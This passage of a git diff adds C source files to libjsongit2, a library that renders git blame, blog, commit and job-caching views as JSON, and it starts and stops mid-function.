+		r->lines = hunk->lines_in_hunk;
+		r->line_start_orig = hunk->orig_start_line_number;
+		r->line_start_final = hunk->final_start_line_number;
+
+	} while (hunk);
+
+	if (ctx->blame) {
+		git_blame_free(ctx->blame);
+		ctx->blame = NULL;
+	}
+
+//	if (!first)
+//		return 0;
+
+	 /* he didn't produce anything, we are done with the initial stuff */
+	ctx->blame_init_phase = 0;
+
+	ctx->bhi = lp_to_bhi(ctx->sorted_head, next);
+	ctx->bli = NULL;
+	ctx->count = 0;
+
+	/*
+	 * Write each bhi's ordinal index, now the date sorting has been done.
+	 * The contributor list wants to use it to show where the sig data is.
+	 */
+
+	lp = ctx->sorted_head;
+	while (lp) {
+		b = lp_to_bhi(lp, next);
+		b->ordinal = ord++;
+		lp = b->next;
+	}
+
+	/*
+	 * create the sorted contributor list from the unique fsig reps and
+	 * the line count accumulation on each we performed earlier.
+	 *
+	 * We're walking the "uniq" list, but creating in the "sort" list.
+	 */
+
+	ctx->head_sort_fsig = NULL;
+
+	lp = ctx->head_uniq_fsig;
+	while (lp) {
+		b = lp_to_bhi(lp, next_uniq_fsig);
+		list_ptr_insert(&ctx->head_sort_fsig, &b->next_sort_fsig,
+				bhi_uniq_fsig_sort);
+		lp = b->next_uniq_fsig;
+	}
+
+	/* initialize the iterator to walk the sort list */
+	ctx->contrib = ctx->head_sort_fsig;
+
+	meta_header(ctx);
+
+	job_common_header(ctx);
+	CTX_BUF_APPEND("\"oid\":");
+	jg2_json_oid(&ctx->blame_opts.newest_commit, ctx);
+	CTX_BUF_APPEND(",");
+
+	CTX_BUF_APPEND("\"blame\": [");
+
+	return 0;
+
+bail:
+	lwsl_err("%s: bailed\n", __func__);
+	job_blame_destroy(ctx);
+
+	return -1;
+}
+#endif
+
+int
+job_blame(struct jg2_ctx *ctx)
+{
+#if LIBGIT2_HAS_BLAME
+	char pure[128];
+#endif
+
+	if (ctx->destroying) {
+		job_blame_destroy(ctx);
+
+		return 0;
+	}
+
+#if !LIBGIT2_HAS_BLAME
+	ctx->final = 1;
+#else
+
+	if (!ctx->partway && job_blame_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	if (ctx->blame_init_phase)
+		return job_blame_lines(ctx);
+
+	if (!ctx->bhi && !ctx->bli) {
+
+		/* we are walking the "sort" list */
+
+		while (ctx->contrib && JG2_HAS_SPACE(ctx, 72)) {
+			struct blame_hunk_info *bhi =
+				lp_to_bhi(ctx->contrib, next_sort_fsig);
+
+			CTX_BUF_APPEND("%c\n{\"l\": %u,\"o\": %u}",
+				       ctx->pos++ ? ',' : ' ',
+				       bhi->count_lines_rep_acc, bhi->ordinal);
+
+			ctx->contrib = bhi->next_sort_fsig;
+		}
+
+		if (ctx->contrib)
+			return 0;
+
+		/* we finished... */
+
+		meta_trailer(ctx, "]");
+		job_blame_destroy(ctx);
+
+		return 0;
+	}
+
+	do {
+		while (ctx->bli) {
+			if (!JG2_HAS_SPACE(ctx, 72))
+				break;
+
+			CTX_BUF_APPEND("%c\n{\"l\": %u,\"o\": %u,\"f\": %u}",
+				       ctx->pos++ ? ',' : ' ', ctx->bli->lines,
+				       ctx->bli->line_start_orig,
+				       ctx->bli->line_start_final);
+
+			ctx->bli = lp_to_bli(ctx->bli->next, next);
+
+			if (!ctx->bli)
+				CTX_BUF_APPEND("]}");
+		}
+
+		if (ctx->bli) /* we ran out of buffer space */
+			break;
+
+		if (!ctx->bhi) {
+			/* ...that was the last bhi we just finished.
+			 * Move on to doing the sorted contributor list
+			 */
+			CTX_BUF_APPEND("],\n\"contrib\":[");
+			ctx->pos = 0;
+
+			break;
+		}
+
+		/* we need a new bhi */
+
+		if (!JG2_HAS_SPACE(ctx, 768))
+			break;
+
+		/* we do have a new bhi to tell about */
+
+		ctx->pos = 0;
+
+		CTX_BUF_APPEND("%c\n{\"ord\":%d,\"orig_oid\":",
+			       ctx->count++ ? ',' : ' ', ctx->bhi->ordinal);
+		jg2_json_oid(&ctx->bhi->hunk.orig_commit_id, ctx);
+
+		CTX_BUF_APPEND(",\n\"final_oid\":");
+		jg2_json_oid(&ctx->bhi->hunk.final_commit_id, ctx);
+
+		CTX_BUF_APPEND(",\n\"sig_orig\": ",
+			(unsigned int)ctx->bhi->hunk.orig_start_line_number,
+			(unsigned int)ctx->bhi->hunk.final_start_line_number);
+		signature_json(&ctx->bhi->orig, ctx);
+
+		CTX_BUF_APPEND(",\n\"log_orig\": \"%s\"",
+				ellipsis_purify(pure, ctx->bhi->orig_summary,
+						sizeof(pure)));
+
+		CTX_BUF_APPEND(",\n\"sig_final\": ");
+		signature_json(&ctx->bhi->final, ctx);
+
+		CTX_BUF_APPEND(",\n\"log_final\": \"%s\"",
+			       ellipsis_purify(pure, ctx->bhi->final_summary,
+					       sizeof(pure)));
+
+		/* only add orig_path if it differs from our starting path */
+		if (ctx->sr.e[JG2_PE_PATH] &&
+		    strcmp(ctx->sr.e[JG2_PE_PATH], ctx->bhi->hunk.orig_path)) {
+			CTX_BUF_APPEND(",\n\"op\": \"%s\"",
+				       ellipsis_purify(pure,
+						       ctx->bhi->hunk.orig_path,
+						       sizeof(pure)));
+		}
+
+		CTX_BUF_APPEND(",\n\"ranges\": [");
+
+		ctx->bli = lp_to_bli(ctx->bhi->line_range_head, next);
+		ctx->bhi = lp_to_bhi(ctx->bhi->next, next);
+
+	} while (1);
+#endif
+
+	return 0;
+}
diff --git a/lib/job/blog.c b/lib/job/blog.c
new file mode 100644
index 0000000..3f31ace
--- /dev/null
+++ b/lib/job/blog.c
@@ -0,0 +1,110 @@
+/*
+ * libjsongit2 - blog
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ *
+ * If the vhost is in blog mode, then the urplaths have no repository part,
+ * it's faked to be as set by the vhost init args, and no mode part.
+ *
+ *  /vpath[/path]
+ *
+ * If there is a path part, the mode is faked to be "tree" to use the existing
+ * inline blob capability and provide by-year and by-month "directory listings"
+ * reusing the tree dir listing as well.
+ *
+ * If there's no path part, we end up here to provide a paginated overview
+ * listing in time order.
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+static int
+job_blog_start(struct jg2_ctx *ctx)
+{
+	if (git_reference_iterator_new(&ctx->iter_ref, ctx->jrepo->repo) < 0)
+		return -1;
+
+	meta_header(ctx);
+
+	job_common_header(ctx);
+	CTX_BUF_APPEND("\"reflist\": [");
+
+	return 0;
+}
+
+static void
+job_blog_destroy(struct jg2_ctx *ctx)
+{
+	if (ctx->iter_ref) {
+		git_reference_iterator_free(ctx->iter_ref);
+		ctx->iter_ref = NULL;
+	}
+	ctx->job = NULL;
+}
+
+int
+job_blog(struct jg2_ctx *ctx)
+{
+	if (ctx->destroying) {
+		job_blog_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_blog_start(ctx))
+		return -1;
+
+	while (JG2_HAS_SPACE(ctx, 768)) {
+		char pure[128];
+		git_reference *gref, *rref;
+		const git_oid *oid;
+
+		/*
+		 * This will list 'commit' and 'tag' objects...
+		 * 'commit' objects named refs/heads/xxx represent branch xxx
+		 */
+
+		if (git_reference_next(&gref, ctx->iter_ref) < 0) {
+			meta_trailer(ctx, "\n]");
+			job_blog_destroy(ctx);
+			break;
+		}
+
+		git_reference_resolve(&rref, gref);
+		oid = git_reference_target(rref);
+		if (oid) {
+			jg2_json_purify(pure, git_reference_name(gref),
+					sizeof(pure), NULL);
+			CTX_BUF_APPEND("%c\n{ \"name\": \"%s\","
+				       "\"summary\": ",
+				       ctx->subsequent ? ',' : ' ', pure);
+			ctx->subsequent = 1;
+			generic_object_summary(oid, ctx);
+
+			CTX_BUF_APPEND("}");
+		}
+
+		git_reference_free(rref);
+		git_reference_free(gref);
+	}
+
+	return 0;
+}
diff --git a/lib/job/commit.c b/lib/job/commit.c
new file mode 100644
index 0000000..3ad0b2f
--- /dev/null
+++ b/lib/job/commit.c
@@ -0,0 +1,377 @@
+/*
+ * libjsongit2 - commit
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <stdio.h>
+#include <string.h>
+
+static int
+common_print_cb(struct jg2_ctx *ctx, int origin,
+		const char *content, size_t content_length)
+{
+	unsigned int u = content_length;
+	char *p, do_pre = 0;
+
+        switch (origin) {
+        case GIT_DIFF_LINE_CONTEXT:
+        case GIT_DIFF_LINE_ADDITION:
+        case GIT_DIFF_LINE_DELETION:
+        	u++;
+        	do_pre = 1;
+        	break;
+        default:
+        	break;
+        }
+
+	p = lac_use(&ctx->lac_head, u + 4, 0);
+	if (!p)
+		return -1;
+
+	*p++ = u & 0xff;
+	*p++ = (u >> 8) & 0xff;
+	*p++ = (u >> 16) & 0xff;
+	*p++ = (u >> 24) & 0xff;
+
+	if (do_pre) {
+		*p++ = origin;
+		u--;
+	}
+
+	memcpy(p, content, u);
+
+	return 0;
+}
+
+#if !LIBGIT2_HAS_DIFF
+/*
+ * print it into a lac, adding chunk buffers as needed, sized as needed.
+ */
+int patch_print_cb(
+	const git_diff_delta *delta, /** delta that contains this data */
+	const git_diff_range *range, /** range of lines containing this data */
+	char line_origin,            /** git_diff_list_t value from above */
+	const char *content,         /** diff data - not NUL terminated */
+	size_t content_len,          /** number of bytes of diff data */
+	void *payload)
+{
+	struct jg2_ctx *ctx = (struct jg2_ctx *)payload;
+
+	return common_print_cb(ctx, line_origin, content, content_len);
+}
+#else
+/*
+ * callback interface is different at v0.24
+ */
+int patch_print_cb(
+	const git_diff_delta *delta, /** delta that contains this data */
+	const git_diff_hunk *hunk,   /**< hunk containing this data */
+	const git_diff_line *line,   /**< line data */
+	void *payload)
+{
+	struct jg2_ctx *ctx = (struct jg2_ctx *)payload;
+
+	return common_print_cb(ctx, line->origin, line->content,
+			       line->content_len);
+}
+#endif
+
+static int
+job_commit_start(struct jg2_ctx *ctx)
+{
+	git_tree *tp = NULL, *t = NULL;
+	git_commit *parent = NULL;
+#if !LIBGIT2_HAS_DIFF
+	git_diff_list *d = NULL;
+#else
+	git_diff *d = NULL;
+#endif
+	git_generic_ptr u;
+	git_oid oid;
+	int e, ret = 1;
+
+	if (!ctx->hex_oid[0]) {
+		lwsl_err("%s: no oid\n", __func__);
+		return 1;
+	}
+
+	if (ctx->hex_oid[0] == 'r') {
+		e = git_reference_name_to_id(&oid, ctx->jrepo->repo,
+						 ctx->hex_oid);
+		if (e < 0) {
+			lwsl_err("%s: unable to lookup ref '%s': %d\n",
+				 __func__, ctx->hex_oid, e);
+			return -1;
+		}
+	} else {
+		e = git_oid_fromstr(&oid, ctx->hex_oid);
+		if (e < 0) {
+			lwsl_err("%s: git_oid_fromstr '%s': %d\n",
+				 __func__, ctx->hex_oid, e);
+
+			return -1;
+		}
+	}
+
+	e = git_object_lookup(&u.obj, ctx->jrepo->repo, &oid, GIT_OBJ_ANY);
+	if (e < 0) {
+		lwsl_err("%s: git_object_lookup '%s': %d\n", __func__,
+			 ctx->hex_oid, e);
+
+		return -1;
+	}
+
+	if (git_object_type(u.obj) != GIT_OBJ_COMMIT) {
+		lwsl_err("%s: not commit '%s'\n", __func__, ctx->hex_oid);
+		git_object_free(u.obj);
+
+		return -1;
+	}
+
+	ctx->raw_patch = !strcmp(ctx->sr.e[JG2_PE_MODE], "patch");
+
+	ctx->u = u;
+	if (!ctx->raw_patch) {
+		meta_header(ctx);
+
+	/* we issue three phases... 1) for html,the generic commit summary... */
+
+		job_common_header(ctx);
+
+		CTX_BUF_APPEND("\"commit\": {");
+
+		commit_summary(ctx->u.commit, ctx);
+	} else {
+
+		/* ... for raw patch, synthesized header info */
+
+		signature_text(git_commit_author(ctx->u.commit), ctx);
+		CTX_BUF_APPEND("\n");
+	}
+
+	/* 2) if any, the commit message body (part after the first paragraph */
+
+	ctx->body = git_commit_message(ctx->u.commit);
+	if (!ctx->raw_patch && ctx->body)
+		CTX_BUF_APPEND("},\n \"body\": \"");
+
+	/* 3) if any, the diff itself */
+
+	ctx->pos = 0;
+
+	e = git_commit_parent(&parent, ctx->u.commit, 0);
+	if (!e) {
+		e = git_commit_tree(&tp, parent);
+		if (e < 0) {
+			lwsl_err("%s: git_commit_tree (parent) failed %d\n",
+					__func__, e);
+			goto bail2;
+		}
+	} else
+		tp = NULL;
+
+	e = git_commit_tree(&t, ctx->u.commit);
+	if (e < 0) {
+		lwsl_err("%s: git_commit_tree failed %d\n", __func__, e);
+		goto bail1;
+	}
+
+	e = git_diff_tree_to_tree(&d, ctx->jrepo->repo, tp, t, NULL);
+	if (e < 0) {
+		lwsl_err("%s: git_diff_tree_to_tree failed %d\n", __func__, e);
+		goto bail1;
+	}
+
+#if LIBGIT2_HAS_DIFF
+	if (git_diff_print(d, GIT_DIFF_FORMAT_PATCH, patch_print_cb, ctx) < 0)
+	{
+		lwsl_err("%s: git_diff_print failed\n", __func__);
+		goto bail;
+	}
+#else /* v0.19.0 */
+	if (git_diff_print_patch(d, patch_print_cb, ctx) < 0)
+	{
+		lwsl_err("%s: git_diff_print_patch failed\n", __func__);
+		goto bail;
+	}
+#endif
+	ctx->lac = ctx->lac_head;
+	ctx->pos = 0;
+	ctx->size = 0;
+	ctx->ofs = 0;
+
+	if (!ctx->raw_patch && !ctx->body)
+		CTX_BUF_APPEND("},\n \"diff\": \"");
+
+	ret = 0;
+
+bail:
+#if LIBGIT2_HAS_DIFF
+	git_diff_free(d);
+#else
+	git_diff_list_free(d);
+#endif
+bail1:
+	if (tp)
+		git_tree_free(tp);
+bail2:
+	if (t)
+		git_tree_free(t);
+	if (parent)
+		git_commit_free(parent);
+
+	if (ret)
+		lwsl_err("%s: failed out\n", __func__);
+
+	return ret;
+}
+
+static void
+job_commit_destroy(struct jg2_ctx *ctx)
+{
+	if (ctx->u.commit) {
+		git_commit_free(ctx->u.commit);
+		ctx->u.commit = NULL;
+	}
+
+	lac_free(&ctx->lac_head);
+
+	ctx->job = NULL;
+}
+
+int
+job_commit(struct jg2_ctx *ctx)
+{
+	int m;
+
+	if (ctx->destroying) {
+		job_commit_destroy(ctx);
+
+		return 0;
+	}
+
+	if (!ctx->partway && job_commit_start(ctx)) {
+		lwsl_err("%s: start failed (%s)\n", __func__, ctx->hex_oid);
+		return -1;
+	}
+
+	/* add body */
+
+	while (ctx->body && JG2_HAS_SPACE(ctx, 768)) {
+		size_t inlim_totlen = 0;
+
+		if (!ctx->body)
+			goto ended;
+
+		/* control chars may bloat to 6x */
+		while (inlim_totlen < 84 && ctx->body[inlim_totlen])
+			inlim_totlen++;
+
+		m = lws_ptr_diff(ctx->end, ctx->p) - 1;
+		if (!ctx->raw_patch)
+			ctx->p += jg2_json_purify(ctx->p, (char *)ctx->body, m,
+					  &inlim_totlen);
+		else {
+			if (inlim_totlen > (size_t)m)
+				inlim_totlen = m;
+			memcpy(ctx->p, ctx->body, inlim_totlen);
+			ctx->p += inlim_totlen;
+		}
+		ctx->body += inlim_totlen;
+
+		if (!*ctx->body)
+			ctx->body = NULL;
+
+		if (!ctx->raw_patch && !ctx->body) {
+			CTX_BUF_APPEND("\"\n", m);
+
+			if (ctx->lac)
+				CTX_BUF_APPEND(",\n \"diff\": \"");
+			else
+				CTX_BUF_APPEND("}\n");
+		}
+
+		if (ctx->raw_patch && !ctx->body)
+			CTX_BUF_APPEND("\n\n");
+	}
+
+	while (!ctx->body && ctx->lac && JG2_HAS_SPACE(ctx, 512)) {
+		size_t inlim_totlen = 84; /* control chars may bloat to 6x */
+		char *p = (char *)(ctx->lac + 1) + ctx->ofs;
+
+		if (!ctx->size) {
+			ctx->size = (unsigned char)*p++;
+			ctx->size |= ((unsigned char)*p++) << 8;
+			ctx->size |= ((unsigned char)*p++) << 16;
+			ctx->size |= ((unsigned char)*p++) << 24;
+
+			ctx->pos = 0;
+			ctx->ofs += 4;
+		}
+
+		if (inlim_totlen > ctx->size - ctx->pos)
+			inlim_totlen = ctx->size - ctx->pos;
+
+		if (ctx->raw_patch) {
+			memcpy(ctx->p, p, inlim_totlen);
+			ctx->p += inlim_totlen;
+		} else
+			ctx->p += jg2_json_purify(ctx->p, p,
+					  lws_ptr_diff(ctx->end, ctx->p) - 4,
+					  &inlim_totlen);
+		ctx->pos += inlim_totlen;
+		ctx->ofs += inlim_totlen;
+
+		if (!inlim_totlen) {
+			lwsl_err("%s: hit NUL\n", __func__);
+			goto ended;
+		}
+
+		if (ctx->pos == ctx->size) {
+			ctx->size = 0;
+			ctx->ofs = lac_align(ctx->ofs);
+			ctx->pos = 0;
+		}
+
+		if (ctx->ofs + sizeof(*ctx->lac) >= ctx->lac->ofs) {
+			ctx->lac = ctx->lac->next;
+			ctx->pos = 0;
+			ctx->ofs = 0;
+			if (!ctx->lac)
+				goto ended;
+		}
+	}
+	if (!ctx->body && !ctx->lac)
+		goto ended;
+
+	goto done;
+
+ended:
+	if (!ctx->raw_patch)
+		meta_trailer(ctx, "\"");
+	ctx->job = NULL;
+	ctx->final = 1;
+	ctx->body = NULL;
+	job_commit_destroy(ctx);
+
+done:
+	return 0;
+}
diff --git a/lib/job/job.c b/lib/job/job.c
new file mode 100644
index 0000000..18fbb5c
--- /dev/null
+++ b/lib/job/job.c
@@ -0,0 +1,953 @@
+/*
+ * libjsongit2 - jobs
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#include "../private.h"
+
+#include <string.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+
+#define lp_to_rei(p, _n) list_ptr_container(p, struct repo_entry_info, _n)
+
+static jg2_job jobs[] = {
+	job_reflist,
+	job_log,
+	job_commit,
+	job_commit,
+	job_tree,
+	job_plain,
+	job_repos,
+	job_snapshot,
+	job_blame,
+	job_blog,
+};
+
+jg2_job
+jg2_get_job(jg2_job_enum n)
+{
+	return jobs[n];
+}
+
+int
+jg2_job_naked(struct jg2_ctx *ctx)
+{
+	if (!ctx->sr.e[JG2_PE_MODE])
+		return 0;
+
+	if (!strcmp(ctx->sr.e[JG2_PE_MODE], "plain"))
+		return JG2_JOB_PLAIN;
+
+	if (!strcmp(ctx->sr.e[JG2_PE_MODE], "snapshot"))
+		return JG2_JOB_SNAPSHOT;
+
+	if (!strcmp(ctx->sr.e[JG2_PE_MODE], "patch"))
+		return JG2_JOB_PATCH;
+
+	return 0; /* nope */
+}
+
+int
+job_spool_from_cache(struct jg2_ctx *ctx)
+{
+	int left, n;
+
+	if (ctx->fd_cache == -1)
+		return -1;
+
+	left = lws_ptr_diff(ctx->end, ctx->p);
+	if (left <= JG2_RESERVE_SEAL)
+		return 0;
+	left -= JG2_RESERVE_SEAL;
+
+	n = read(ctx->fd_cache, ctx->p, left);
+	if (n < 0) {
+		lwsl_err("%s: error reading from cache, errno: %d\n",
+			 __func__, errno);
+		close(ctx->fd_cache);
+		ctx->fd_cache = -1;
+
+		return -1;
+	}
+
+	ctx->p += n;
+	ctx->existing_cache_pos += n;
+
+	if (!n || ctx->existing_cache_pos == ctx->existing_cache_size) {
+		/* finished */
+		ctx->final = 1;
+		ctx->job = NULL;
+		close(ctx->fd_cache);
+		ctx->fd_cache = -1;
+
+		//if (ctx->meta_last_job)
+			ctx->meta = 1;
+		meta_trailer(ctx, NULL);
+	}
+
+	return 0;
+}
+
+/* requires vhost lock */
+
+void
+__jg2_job_hash_visible_repos(struct jg2_vhost *vh, jg2_md5_context md5_ctx,
+			     const char *acl_user)
+{
+	list_ptr lp = vh->rei_head;
+
+	while (lp) {
+		struct repo_entry_info *rei = lp_to_rei(lp, next);
+		char *p = (char *)(rei + 1);
+
+		if (!__repo_check_acl(vh, p, vh->cfg.acl_user) ||
+		    (acl_user && !__repo_check_acl(vh, p, acl_user)))
+			vh->cfg.md5_upd(md5_ctx, (unsigned char *)p, strlen(p));
+
+		list_ptr_advance(lp);
+	}
+}
+
+/* requires vhost lock (because it may want the jrepo refs) */
+
+void
+__jg2_job_compute_cache_hash(struct jg2_ctx *ctx, jg2_job_enum job, int count,
+			     char *md5_hex33)
+{
+	uint16_t je = job + (JG2_JSON_EPOCH << 8);
+	uint32_t c32 = (uint32_t)count;
+
+	/* calculate what the cache file would have been called */
+
+	ctx->vhost->cfg.md5_init(ctx->md5_ctx);
+
+	/* item 1: the job + an epoch changed when libjsongit2 is updated and
+	 *         older JSON should be invalidated.  Older cache guys will
+	 *         no longer be referenced and get reaped from old age.
+	 */
+	ctx->vhost->cfg.md5_upd(ctx->md5_ctx, (unsigned char *)&je, 2);
+
+	/* item 2: the low 32-bits of the count */
+	ctx->vhost->cfg.md5_upd(ctx->md5_ctx, (unsigned char *)&c32, 4);
+
+	/* item 3: the repo refs hash (if we are affiliated with a repo) */
+	if (ctx->jrepo) {
+		ctx->vhost->cfg.md5_upd(ctx->md5_ctx, ctx->jrepo->md5_refs,
+					   sizeof(ctx->jrepo->md5_refs));
+
+	/* item 4: the repo filepath (if we are affiliated with a repo) */
+		ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+					(unsigned char *)ctx->jrepo->repo_path,
+					strlen(ctx->jrepo->repo_path));
+
+	/* item 5: the mode we are looking for results with, if any */
+		if (ctx->sr.e[JG2_PE_MODE])
+			ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+					(unsigned char *)ctx->sr.e[JG2_PE_MODE],
+					strlen(ctx->sr.e[JG2_PE_MODE]));
+
+	/* item 6: the path part inside the repo, if any */
+		if (ctx->sr.e[JG2_PE_PATH])
+			ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+					(unsigned char *)ctx->sr.e[JG2_PE_PATH],
+					strlen(ctx->sr.e[JG2_PE_PATH]));
+
+	/* item 7: the oid if the job could use it (and we have a repo) */
+		switch(job) {
+		case JG2_JOB_REFLIST: /* doesn't use oid perspective */
+			break;
+		case JG2_JOB_REPOLIST:/* doesn't use oid perspective */
+			break;
+#if LIBGIT2_HAS_BLAME
+		case JG2_JOB_BLAME: /* blame is tied to blob hash */
+			if (!blob_from_commit(ctx)) {
+				char hoid[GIT_OID_HEXSZ + 1];
+
+				oid_to_hex_cstr(hoid, git_blob_id(ctx->u.blob));
+				ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+					(unsigned char *)hoid, strlen(hoid));
+
+				git_object_free(ctx->u.obj);
+				ctx->u.obj = NULL;
+				ctx->body = NULL;
+				ctx->size = 0;
+			}
+			break;
+#endif
+		default:
+			ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+						(unsigned char *)ctx->hex_oid,
+						sizeof(ctx->hex_oid) - 1);
+		}
+
+	/* item 8: repo info */
+
+		if (ctx->sr.e[JG2_PE_NAME]) {
+			list_ptr lp = ctx->vhost->rei_head;
+
+			while (lp) {
+				struct repo_entry_info *rei = lp_to_rei(lp, next);
+				char *p = (char *)(rei + 1);
+				size_t n = JG2_ARRAY_SIZE(rei->conf_len);
+
+				if (!strcmp(p, ctx->sr.e[JG2_PE_NAME]))
+					n = 0;
+
+				for (; n < JG2_ARRAY_SIZE(rei->conf_len); n++) {
+					if (!rei->conf_len[n])
+						continue;
+
+					ctx->vhost->cfg.md5_upd(ctx->md5_ctx,
+							(unsigned char *)p,
+							rei->conf_len[n]);
+					p += rei->conf_len[n];
+				}
+
+				list_ptr_advance(lp);
+			}
+		}
+
+	} else {
+		/*
+		 * there's no repo context, so this is the list of accessible
+		 * repos.  We have to include the current list of accessible
+		 * repos, allowing for the vhost and ctx ACLs, in the hash to
+		 * call it a match.
+		 *
+		 * Otherwise the list of ACLs could change, the ctx authorized
+		 * acl_user could change or we could look from a different
+		 * vhost and wrongly match.  Only including the vhost name and
+		 * ctx authorized user name isn't enough, since the effect of
+		 * those depends on the gitolite config.  We could hash that,
+		 * but the gitolite config may change for unrelated reasons.
+		 *
+		 * Start by hashing in the gitolite-admin HEAD oid, since it
+		 * may also change gitweb config strings etc
+		 */
+
+		ctx->vhost->cfg.md5_upd(ctx->md5_ctx, (unsigned char *)
+			ctx->vhost->repodir->hexoid_gitolite_conf,
+			sizeof(ctx->vhost->repodir->hexoid_gitolite_conf) - 1);
+
+		__jg2_job_hash_visible_repos(ctx->vhost, ctx->md5_ctx,
+					     ctx->acl_user);
+	}
+
+	ctx->vhost->cfg.md5_fini(ctx->md5_ctx, ctx->job_hash);
+	md5_to_hex_cstr(md5_hex33, ctx->job_hash);
+}
+
+/**
+ * jg2_ctx_set_job() - set the current "job" the context is doing
+ *
+ * \param ctx: pointer to the context
+ * \param job: job function enum
+ * \param hex_oid: the hex string oid to start the job with, or a ref
+ *		   like "refs/head/master", or NULL
+ * \param count: resrict the job to output this many elements
+ * \param flags: Or-able bitflags: JG2_JOB_FLAG_FINAL = last job,
+ *		 JG2_JOB_FLAG_HTML = wrap JSON inside vhost html
+ *
+ * Set to NULL if no active job.  Otherwise, set to a job function pointer
+ * from the jg2_jobs() table.  Use the enums JG2_JOB_* to select a
+ * job from the list.
+ *
+ * Note hex_oid if given has its content copied by this api, and isn't required
+ * to persist on the caller side.
+ */
+
+static void
+jg2_ctx_set_job(struct jg2_ctx *ctx, jg2_job_enum job, const char *hex_oid,
+		int count, int flags)
+{
+	char md5_hex[(JG2_MD5_LEN * 2) + 1];
+
+	if (!(flags & JG2_JOB_FLAG_CHAINED)) {
+		if (ctx->fd_cache != -1) {
+			close(ctx->fd_cache);
+			ctx->fd_cache = -1;
+		}
+	}
+
+	ctx->partway = ctx->final = 0;
+	ctx->job = jg2_get_job(job);
+
+	if (hex_oid) {
+		strncpy(ctx->hex_oid, hex_oid, sizeof(ctx->hex_oid) - 1);
+		ctx->hex_oid[sizeof(ctx->hex_oid) - 1] = '\0';
+	} else
+		ctx->hex_oid[0] = '\0';
+	ctx->count = count;
+	ctx->meta_last_job = !!(flags & JG2_JOB_FLAG_FINAL);
+
+	if (flags & JG2_JOB_FLAG_CHAINED)
+		/*
+		 * We don't have any independent fate for choosing about the
+		 * cache, continue what we did when we decided to do the thing
+		 * that led to this chained action.
+		 */
+		return;
+
+	ctx->us_gen = 0;
+	ctx->cache_written_p = ctx->p;
+
+	/* caching is disabled? */
+	if (!ctx->vhost->cfg.json_cache_base)
+		return;
+
+	pthread_mutex_lock(&ctx->vhost->lock); /* ================ vhost lock */
+	__jg2_job_compute_cache_hash(ctx, job, count, md5_hex);
+
+	if (__jg2_cache_query(ctx, md5_hex, &ctx->fd_cache, ctx->cache,
+			      sizeof(ctx->cache) - 1) ==
+					      	      JG2_CACHE_QUERY_EXISTS) {
+		ctx->job = job_spool_from_cache;
+		if (!ctx->sr.e[JG2_PE_MODE] || !jg2_job_naked(ctx)) {
+			pthread_mutex_unlock(&ctx->vhost->lock); /*vhost unlock */
+			meta_header(ctx);
+
+			return;
+		}
+	}
+	pthread_mutex_unlock(&ctx->vhost->lock); /* ---- vhost unlock */
+}
+
+jg2_job
+jg2_ctx_get_job(struct jg2_ctx *ctx)
+{
+	return ctx->job;
+}
+
+struct cfg_item {
+	const char *git;
+	const char *json;
+};
+
+static const struct cfg_item items[] = {
+	{ "gitweb.description", "desc" },
+	{ "gitweb.owner", "owner" },
+	{ "gitweb.url", "url" },
+};
+
+int
+jg2_get_repo_config(git_repository *gr, struct repo_entry_info *rei, char *p)
+{
+	git_config *cfg, *oc;
+	int n, len = -1;
+
+#if LIBGIT2_HAS_REPO_CONFIG_SNAP
+	if (git_repository_config_snapshot(&cfg, gr))
+#else
+	if (git_repository_config(&cfg, gr))
+#endif
+		goto post;
+
+	if (git_config_open_level(&oc, cfg, GIT_CONFIG_LEVEL_LOCAL))
+		goto post1;
+
+	len = 0;
+
+	for (n = 0; n < (int)JG2_ARRAY_SIZE(items); n++) {
+		const char *str;
+		int slen, m;
+
+		if (rei)
+			rei->conf_len[n] = 0;
+
+		m = git_config_get_string(&str, oc, items[n].git);
+		if (m)
+			continue;
+
+		slen = strlen(str);
+
+		if (rei) {
